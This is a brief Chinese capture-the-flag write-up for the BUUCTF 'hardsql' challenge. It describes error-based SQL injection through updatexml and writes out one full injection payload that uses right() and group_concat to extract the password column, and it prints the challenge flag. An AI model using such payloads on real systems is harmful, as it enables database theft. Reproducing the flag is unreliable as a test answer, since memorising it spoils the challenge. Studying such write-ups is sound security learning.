buuctf hardsql

时间:2021-06-22 17:49:07   收藏:0   阅读:0

这是一道sql报错注入题目

试着输入一些,

技术图片

技术图片

再尝试后发现这个是用updatexml报错法注入

那就直接按模板来

技术图片

库名是geek

技术图片

表名也可以出来

技术图片

字段值三个 是id,username,password

技术图片

查询字段值看到flag

但是只有一半的flag,怎么拿到右半部分?

学到一个注入模板的技巧

left()right()语句:

?username=admin‘or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1

技术图片

得到flag  

flag{f0786505-a1b4-484d-a928-d594218441c8}

 

关于这个left()right()语句,就是返回被请求部分的左右侧部分

语句可以如下:

select left(姓名,3) from ***
select right(姓名,3) from ***

select right(‘学院‘,1)+ left(‘学院‘,1)   等

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!